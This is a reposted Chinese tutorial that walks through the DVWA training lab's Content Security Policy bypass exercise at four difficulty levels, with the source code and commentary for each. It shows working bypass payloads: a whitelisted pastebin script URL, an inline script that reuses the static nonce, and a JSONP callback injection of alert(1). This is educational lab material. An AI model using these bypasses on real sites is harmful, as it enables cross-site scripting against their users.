Security ❀ CSP Bypass 内容安全策略绕过

Posted 无糖可乐没有灵魂

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Security ❀ CSP Bypass 内容安全策略绕过相关的知识,希望对你有一定的参考价值。

文章目录

内容安全策略绕过 CSP Bypass

CSP - 内容安全策略:为了缓解很大一部分潜在的跨站脚本XSS问题,浏览器的扩展程序系统引入了内容安全策略CSP 的概念。通过引入一些相当严格的策略使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过HTTP头部信息或meta元素定义。CSP虽然提供了强大的安全保护,但是它也令eval()及相关函数被禁用、内嵌的javascript代码将不会执行、只能通过白名单来加载远程脚本。如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整。

1 Low Level

源码:

<?php

# 指定headerCSP变量,防置了一些url
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

# 使用header函数调用变量headerCSP发送到客户端或浏览器
header($headerCSP);

# These might work if you can't create your own for some reason
# 绕过案例
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex

?>
# 使用script src指令指向一个外部JavaScript文件
<?php
if (isset ($_POST['include'])) 
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";

$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

源码对HTTP头部定义了CSP标签,定义了可以接受外部JavaScript资源的白名单,可以通过抓包确认是哪些网站;

其中https://pastebin.com是一个快速分享文本内容的网站,若文本的内容是一段JavaScript代码,网页就会把代码包含起来;可以使用该域名进行创建包含JavaScript代码的URL,也可直接使用源码中的案例进行绕过操作。

# https://pastebin.com/raw/R570EE00
# URL回显内容:alert("pastebin");

2 Medium Level

源码:

<?php

# script src有了新的变化,unsafe-inline允许执行页面内嵌的<script>标签和事件监听函数,nonce值会在每次HTTP回应给出一个授权token
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

# 禁用XSS保护
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# 绕过案例
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) 
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";

$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

源码中nonce参数无任何过滤,对其进行注入即可。将绕过案例<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>内容复制到输入框内,进行绕过弹窗测试。

3 High Level

源码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) 
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";

$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

# script src指向了source/high.js代码文件
<script src="source/high.js"></script>
';

high.js代码:

function clickButton() 
  	// src指向source/jsonp.php?callback=solveNum,document对象使我们可以从脚本中对html页面中的所有元素进行访问,createElement()方法通过指定名称创建一个元素
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    // body 属性提供对 < body > 元素的直接访问,对于定义了框架集的文档将引用最外层的<frameset>,appendChild()方法可向节点的子节点列表的末尾添加新的子节点,也就是网页会把“source/jsonp.php?callback=solveNum”加入到DOM中
    document.body.appendChild(s);


function solveSum(obj) 
    if ("answer" in obj) 
        // 定义solveNum函数,函数传入参数obj,字符串“answer”在obj中就会执行下面代码
        document.getElementById("answer").innerHTML = obj['answer'];
        // getElementById()方法可返回对拥有指定ID的第一个对象的引用,innerHTML属性设置或返回表格行的开始和结束标签之间的HTML。这里的script标签会把远程加载的solveSum("answer":"15")当作js代码执行,然后这个函数就会在页面显示答案
    


var solve_button = document.getElementById ("solve");

if (solve_button) 
    solve_button.addEventListener("click", function() 
        clickButton();
    );

jsonp.php代码:

<?php
header("Content-Type: application/json; charset=UTF-8");

if (array_key_exists ("callback", $_GET)) 
	$callback = $_GET['callback'];
 else 
	return "";

# 代码中对callback参数无任何过滤限制,对其进行注入即可进行绕过
$outp = array ("answer" => "15");

echo $callback . "(".json_encode($outp).")";
?>

注入代码:include=<script src="source/jsonp.php?callback=alert(1);"></script>

4 Impossible Level

源码:

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) 
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";

$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

impossible.js代码:

function clickButton() 
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    // JSONP调用的回调函数是硬编码的,CSP策略被锁定为只允许外部脚本
    document.body.appendChild(s);


function solveSum(obj) 
    if ("answer" in obj) 
        document.getElementById("answer").innerHTML = obj['answer'];
    


var solve_button = document.getElementById ("solve");

if (solve_button) 
    solve_button.addEventListener("click", function() 
        clickButton();
    );

jsonp_impossible.php代码:

<?php
header("Content-Type: application/json; charset=UTF-8");

$outp = array ("answer" => "15");
# outp值被锁死
echo "solveSum (".json_encode($outp).")";
?>

以上是关于Security ❀ CSP Bypass 内容安全策略绕过的主要内容,如果未能解决你的问题,请参考以下文章

Security ❀ CSP Bypass 内容安全策略绕过

Security ❀ CSP Bypass 内容安全策略绕过

DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass

xss之CSP bypass

javascript CSP-bypass.js

Web 安全之内容安全策略(Content-Security-Policy,CSP)详解